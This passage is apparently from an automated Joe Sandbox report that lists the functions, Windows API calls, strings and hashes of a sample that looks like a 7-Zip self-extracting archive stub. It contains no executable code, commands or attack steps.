Instruction Fuzzy Hash: F141C171A00204ABDB24EAA5D940BFEB7B5FF84704F14446EE846A7341D7B8BEC18B59

Function 00404903 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32(00000000,00000020,-00000002), ref: 0040490F

Part of subcall function 00402131: GetUserDefaultUILanguage.KERNEL32(0040491F), ref: 0040213B

Part of subcall function 00402187: GetLastError.KERNEL32(00000000,00000020,-00000002), ref: 004021D6
Part of subcall function 00402187: wsprintfW.USER32 ref: 004021E7
Part of subcall function 00402187: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004021FC
Part of subcall function 00402187: GetLastError.KERNEL32 ref: 00402201
Part of subcall function 00402187: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 0040221C
Part of subcall function 00402187: GetEnvironmentVariableW.KERNEL32(?,00000000,00000004), ref: 0040222F
Part of subcall function 00402187: GetLastError.KERNEL32 ref: 00402236
Part of subcall function 00402187: lstrcmpiW.KERNEL32(02533FD0,00404926), ref: 0040224B
Part of subcall function 00402187: ??3@YAXPAX@Z.MSVCRT(02533FD0), ref: 0040225B
Part of subcall function 00402187: SetLastError.KERNEL32(?), ref: 00402282
Part of subcall function 00402187: lstrlenA.KERNEL32(00416208), ref: 004022B6
Part of subcall function 00402187: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004022D1
Part of subcall function 00402187: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00402303

Part of subcall function 00402187: ??3@YAXPAX@Z.MSVCRT(00404926), ref: 00402279
Part of subcall function 00402187: _wtol.MSVCRT ref: 00402314
Part of subcall function 00402187: MultiByteToWideChar.KERNEL32(00000000,00416208,00000001,02533FD0,00000002), ref: 00402334

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000), ref: 00404995
wsprintfW.USER32 ref: 004049B0

Part of subcall function 004032D9: ??2@YAPAXI@Z.MSVCRT(00000018,00000000,004049F2,?,?,?), ref: 004032DE

Strings

7zSfxFolder%02d, xrefs: 004049AA

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: 7zSfxFolder%02d
API String ID: 3387708999-2820892521
Opcode ID: 0b64465946cb2e48a0dbd03d6f906f8cc659a125e1421e758d292e165e0ccb9d
Instruction ID: 5234f5b279cb727febf32c6091b250cce28905a448a9d0e240f4fe7ebf0ff8ab
Opcode Fuzzy Hash: 0b64465946cb2e48a0dbd03d6f906f8cc659a125e1421e758d292e165e0ccb9d
Instruction Fuzzy Hash: 2731B471A10205ABCB10FFA1DC9AAEEB768AF40304F00417FFA15B60E1EB784946CB58

Function 00402BEE Relevance: 6.4, APIs: 5, Instructions: 118
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?,?,00403D0E,00419858,?,?,00405C1F,00000000,00000000,?,?,?,00000000,-00000002), ref: 00402C20
lstrlenA.KERNEL32(?,?,00403D0E,00419858,?,?,00405C1F,00000000,00000000,?,?,?,00000000,-00000002), ref: 00402C28
memcmp.MSVCRT(00000000,?,?), ref: 00402C8E
memcmp.MSVCRT(00000000,?,?,?,00403D0E,00419858,?,?,00405C1F,00000000,00000000,?,?,?,00000000,-00000002), ref: 00402CCB
memmove.MSVCRT(?,?,00000000,?,00403D0E,00419858,?,?,00405C1F,00000000,00000000,?,?,?,00000000,-00000002), ref: 00402CFD

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: lstrlenmemcmp$memmove
String ID:
API String ID: 3251180759-0
Opcode ID: fa32a0385ddd39642fa32be0e776516a86df04650160174833642614f5e9d137
Instruction ID: de6905f5b60a3a827beaa0a9a9e283af0395689e13c8cf078280906fc371a6c9
Opcode Fuzzy Hash: fa32a0385ddd39642fa32be0e776516a86df04650160174833642614f5e9d137
Instruction Fuzzy Hash: A7414972D0424DAFDB11DFA4C9889EEBBB9EF48384F14406AE845B3290D3B49E85CB55

Function 00401611 Relevance: 6.1, APIs: 4, Instructions: 100
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,004012E3,00000000,00000000,?), ref: 00401655
WaitForSingleObject.KERNEL32(000000FF,?,004017F5,?,?), ref: 00401676

Part of subcall function 00408DBF: wvsprintfW.USER32(?,00000000,?), ref: 00408DE3
Part of subcall function 00408DBF: GetLastError.KERNEL32 ref: 00408DF4
Part of subcall function 00408DBF: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,00406B79), ref: 00408E1C
Part of subcall function 00408DBF: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,00406B79), ref: 00408E31
Part of subcall function 00408DBF: lstrlenW.KERNEL32(?), ref: 00408E44
Part of subcall function 00408DBF: lstrlenW.KERNEL32(?), ref: 00408E4B
Part of subcall function 00408DBF: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00408E60
Part of subcall function 00408DBF: lstrcpyW.KERNEL32(00000000,?), ref: 00408E76
Part of subcall function 00408DBF: lstrcpyW.KERNEL32(-00000002,?), ref: 00408E87
Part of subcall function 00408DBF: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 00408E90
Part of subcall function 00408DBF: LocalFree.KERNEL32(?), ref: 00408E9A

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
String ID:
API String ID: 359084233-0
Opcode ID: 66257497e4407e65e3ec51839b2cc1af24185b4b9cde7a4118d25a0965ef4d55
Instruction ID: 99d6c8c0394ba6fc9b9d299436d7c7a44fadaa3de81f278bf7a0439fefe7fe09
Opcode Fuzzy Hash: 66257497e4407e65e3ec51839b2cc1af24185b4b9cde7a4118d25a0965ef4d55
Instruction Fuzzy Hash: 0D31E131600200FBCA355B54DC95EEB36A8EB81754B28853BF515F62F0DA7A8C829A1E

Function 00404545 Relevance: 6.1, APIs: 4, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00406D05,00000000,?,?,00405368,?,7ZSfx%03x.cmd), ref: 00404568
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,00405368,?,7ZSfx%03x.cmd), ref: 00404585
wsprintfW.USER32 ref: 004045BB
GetFileAttributesW.KERNELBASE(?), ref: 004045D6

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: PathTemp$AttributesFilewsprintf
String ID:
API String ID: 1746483863-0
Opcode ID: 0e4a8cbd59d5c8a173ea11c71d2339e4dceea1800af4b6b4e6d7220fd0c99624
Instruction ID: 733027a3fcd96ec5c8df4ae3473da8ef02d46a04784f0fe1f39aec502691af17
Opcode Fuzzy Hash: 0e4a8cbd59d5c8a173ea11c71d2339e4dceea1800af4b6b4e6d7220fd0c99624
Instruction Fuzzy Hash: C1112772500604FFC701AF55CC84AADB7B8FF84314F10802EF946972E1CB799900CB94

Function 00412525 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004105E9: _CxxThrowException.MSVCRT(?,00417298), ref: 00410603

??3@YAXPAX@Z.MSVCRT(?,?,?,?,(nA,?,00416DD8), ref: 00412643
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,(nA,?,00416DD8), ref: 0041279B

Strings

(nA, xrefs: 004126DD, 004126E0

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$ExceptionThrow
String ID: (nA
API String ID: 2803161813-867891557
Opcode ID: d538e313846df92285687d0c89883c737322acd0d92d246c018a36ad655cc348
Instruction ID: 0ece9700425cb4d864afba528f8150fdb1f56e7dd499115c8cef0e07f043e1c2
Opcode Fuzzy Hash: d538e313846df92285687d0c89883c737322acd0d92d246c018a36ad655cc348
Instruction Fuzzy Hash: A9814B70A00605AFCB24DFA5C591AEEFBF6BF08314F14452EE515E3391D7B8AA90CB58

Function 0040CBAC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0040CBC4
_CxxThrowException.MSVCRT(?,00416FBC), ref: 0040CBE7

Strings

PlA, xrefs: 0040CBD6

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: AllocExceptionStringThrow
String ID: PlA
API String ID: 3773818493-1533977103
Opcode ID: 9da6470fb493ce6a5e6bdcff394512404a5483abbe6bbc59635324e60b80df40
Instruction ID: 296fbbf4859103af06767512d87f49f38bd905f8065bfdcdd98956010b0ea552
Opcode Fuzzy Hash: 9da6470fb493ce6a5e6bdcff394512404a5483abbe6bbc59635324e60b80df40
Instruction Fuzzy Hash: 54E0ED71600304EADB209F65E8829D6BBF8EF04785710C53FF948DA250E7B9E980C79C

Function 00403C93 Relevance: 4.7, APIs: 3, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 0040236F: LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,004023A5,00405BA0,00419858,00419858), ref: 0040237F
Part of subcall function 0040236F: GetProcAddress.KERNEL32(00000000), ref: 00402386
Part of subcall function 0040236F: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,004023A5,00405BA0,00419858,00419858), ref: 00402394

??3@YAXPAX@Z.MSVCRT(00405C1F,?,?,?,?,?,?,?,00405C1F), ref: 00403E21
??3@YAXPAX@Z.MSVCRT(?,00405C1F,?,?,?,?,?,?,?,00405C1F), ref: 00403E29
??3@YAXPAX@Z.MSVCRT(?,?,00405C1F,?,?,?,?,?,?,?,00405C1F), ref: 00403E31

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@$AddressInfoLibraryLoadNativeProcSystem
String ID:
API String ID: 1642057587-0
Opcode ID: 8fe8159aa8f9171a80473dbbf27a02bdac3fe5d52869d40b93b57f1e27a36c33
Instruction ID: 921b34b2ca4cae370864143a871e5ac41304b7093d26a65462705394026d5d48
Opcode Fuzzy Hash: 8fe8159aa8f9171a80473dbbf27a02bdac3fe5d52869d40b93b57f1e27a36c33
Instruction Fuzzy Hash: A8515FB2D04109AADF01EFD1CD919FEBB7DAF04309F04406AF511B62C1D7799A4ADB98

Function 0040172C Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,00419810,ExecuteFile,0000002F,0000002F,?,00406616,?,00419810,00419810), ref: 00401739
??2@YAPAXI@Z.MSVCRT(00000040), ref: 004017D6

Part of subcall function 004036F1: lstrlenW.KERNEL32(004017CF,00000000,?,?,?,?,?,?,004017CF,?), ref: 004036FE
Part of subcall function 004036F1: GetSystemTimeAsFileTime.KERNEL32(?,004017CF,?,?,?,?,004017CF,?), ref: 00403774
Part of subcall function 004036F1: GetFileAttributesW.KERNELBASE(?,?,?,?,?,004017CF,?), ref: 0040377B
Part of subcall function 004036F1: ??3@YAXPAX@Z.MSVCRT(?,004017CF,?,?,?,?,004017CF,?), ref: 0040383A

Strings

ExecuteFile, xrefs: 00401731

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??2@FileTime$??3@AttributesSystemlstrlen
String ID: ExecuteFile
API String ID: 1306139538-323923146
Opcode ID: 03c1fc4a848cb1bd6dc51e2723fab2d4ca0176e216816c9125f0e1fc3d427f7b
Instruction ID: 9484230cc67166f2f755b6e2650531b124a09860f62e081dc195098c01fa7d0a
Opcode Fuzzy Hash: 03c1fc4a848cb1bd6dc51e2723fab2d4ca0176e216816c9125f0e1fc3d427f7b
Instruction Fuzzy Hash: 6531E375700204BBCB20ABA5CC89CAFB7B9EFC4705728086FF405E73A1DB799D408628

Function 0040E036 Relevance: 4.5, APIs: 3, Instructions: 35COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,?,?,?,00410D1B,00010000), ref: 0040E049
memmove.MSVCRT(00000000,?,?,?,?,?,00410D1B,00010000), ref: 0040E063
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00410D1B,00010000), ref: 0040E073

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??2@??3@memmove
String ID:
API String ID: 3828600508-0
Opcode ID: 0714fe3c1df4fdca5aeeb7c8bbfd15098e1df3d209b63f798c6738da8b9a7e44
Instruction ID: 4d808faca08bf89b0fd6c24434e0160128b2010f8b4ad61872e4f6e811daac21
Opcode Fuzzy Hash: 0714fe3c1df4fdca5aeeb7c8bbfd15098e1df3d209b63f798c6738da8b9a7e44
Instruction Fuzzy Hash: 28F08232600720AFD2305F27DD8095BB7A9EBC47153148D3FE5AD92350CAB5E8518659

Function 004026CF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 004026F3

Strings

@, xrefs: 004026E6

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 2755d2f4d32b7a33f337b75ab828a694b6e8efe9be06c7f4c0d7d4513a976335
Instruction ID: 06539b43d6f5c2ce11291560a72fbbc8528a2f3b0367cc898c628306ed72bb09
Opcode Fuzzy Hash: 2755d2f4d32b7a33f337b75ab828a694b6e8efe9be06c7f4c0d7d4513a976335
Instruction Fuzzy Hash: 20F0C2309102089ACF19AF70DA9DBAF3BA4BF00348F104A3AD462F72D0D7F8D845864C

Function 0040C7E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040C828

Strings

lA, xrefs: 0040C7F2

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@
String ID: lA
API String ID: 613200358-262130271
Opcode ID: 90b0b06cd13890f620005806bac62f7fad3fb4d0d322495d17032a83e40ec68c
Instruction ID: be810f4beaf6972e7a5014057c92b7027d0de42a9649241163ddb4af855fb9b0
Opcode Fuzzy Hash: 90b0b06cd13890f620005806bac62f7fad3fb4d0d322495d17032a83e40ec68c
Instruction Fuzzy Hash: 73F01CB26007119BC320EF58D845B87B7E8AF44304B148A3FE48997651E7B8E985CBED

Function 0041017A Relevance: 3.1, APIs: 2, Instructions: 135COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041017F
??3@YAXPAX@Z.MSVCRT(?), ref: 00410274

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@H_prolog
String ID:
API String ID: 1329742358-0
Opcode ID: bd67a156173473a68c65af7978f3cde24eb8832407ae1c7884f978518f4fb4eb
Instruction ID: 10f57f22a906aa0b0a42583f003833c21146b94334aab583da89fc310c08d6c6
Opcode Fuzzy Hash: bd67a156173473a68c65af7978f3cde24eb8832407ae1c7884f978518f4fb4eb
Instruction Fuzzy Hash: A5410232804014ABCB15DBA4C989AFE7B34EF06304B1440ABF401776A2DABD5EC9975D

Function 0040250F Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00000000,?,00000024,00402850,00000001,00000020,00402E23,00000000,00000000,00000000,00000020), ref: 0040251F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000024,00402850,00000001,00000020,00402E23,00000000,00000000,00000000,00000020), ref: 00402543

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: b4df439f1ba102251751b61151d0347022af4275d8d69c1088113cf519c099ee
Instruction ID: ee6e1bd81e6d65453633442f6a1d57c69857676589945f0ce02378b43b8f31e2
Opcode Fuzzy Hash: b4df439f1ba102251751b61151d0347022af4275d8d69c1088113cf519c099ee
Instruction Fuzzy Hash: 0DF09035004652AFC3309F29D994843F7E4AF55705720887FE1DAC33A2C674A880C768

Function 004045F4 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNELBASE(?,?,?,00000000,?,?,00406260,?,00000000,0000000A), ref: 00404630
??3@YAXPAX@Z.MSVCRT(?,?,?,00406260,?,00000000,0000000A), ref: 00404639

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@EnvironmentVariable
String ID:
API String ID: 3880889418-0
Opcode ID: 22152b305ce174b67320051486f034778fb1b596505a7c24a7f213f79468360f
Instruction ID: b821aa63e9602637d8feb686bb827f934507ba03fca214f0c99b91fc16a187d9
Opcode Fuzzy Hash: 22152b305ce174b67320051486f034778fb1b596505a7c24a7f213f79468360f
Instruction Fuzzy Hash: BDF05836900118AFCB01AF98EC458CE77B8EB48704B41807AE922A72A1DB34AD418B8D

Function 0040C8F9 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 0040C914
GetLastError.KERNEL32(?,?,?,?), ref: 0040C922

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 8b88ea7865465276bf5a21a54c36bc0df87277094e8d6374ce9343fa71539519
Instruction ID: 5a685d8d3943d7b2e7289d0006b4b3d46cacc15a83080b067a3dad9829954c10
Opcode Fuzzy Hash: 8b88ea7865465276bf5a21a54c36bc0df87277094e8d6374ce9343fa71539519
Instruction Fuzzy Hash: F7F0DAB5900208FFCB04CF94D9849EE7BB5EF49310B108669F915A73A0D7359E50DB64

Function 0040DA22 Relevance: 2.5, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040DA2D
LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 0040DA4C

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 9f865e1c4fc0fe21fbcef52b0fef9e7314b0768b57200dd69fc44cf09c27d63e
Instruction ID: 5d27eff888a04a2a1af920e5c8fe564bbb0a5ef9a93153a65d570a8b15afed72
Opcode Fuzzy Hash: 9f865e1c4fc0fe21fbcef52b0fef9e7314b0768b57200dd69fc44cf09c27d63e
Instruction Fuzzy Hash: ADF01D36600214EBCB119FD5DC08E9ABBA9FF99761F10442AFA41A7260C771E811DFA4

Function 00410329 Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041032E

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 6f44193eaeda355f9b3e97adace56953b8328d331421677c58d82c8f54f080aa
Instruction ID: d622825666b969e0cf609659fb89c84123d12be518dfc819517b0c3290ecd380
Opcode Fuzzy Hash: 6f44193eaeda355f9b3e97adace56953b8328d331421677c58d82c8f54f080aa
Instruction Fuzzy Hash: 0421713160020ADFCB20EFA6D495AEE7775AF40308F14447EF816AB281DB78ED85CB55

Function 00401252 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 00401296

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

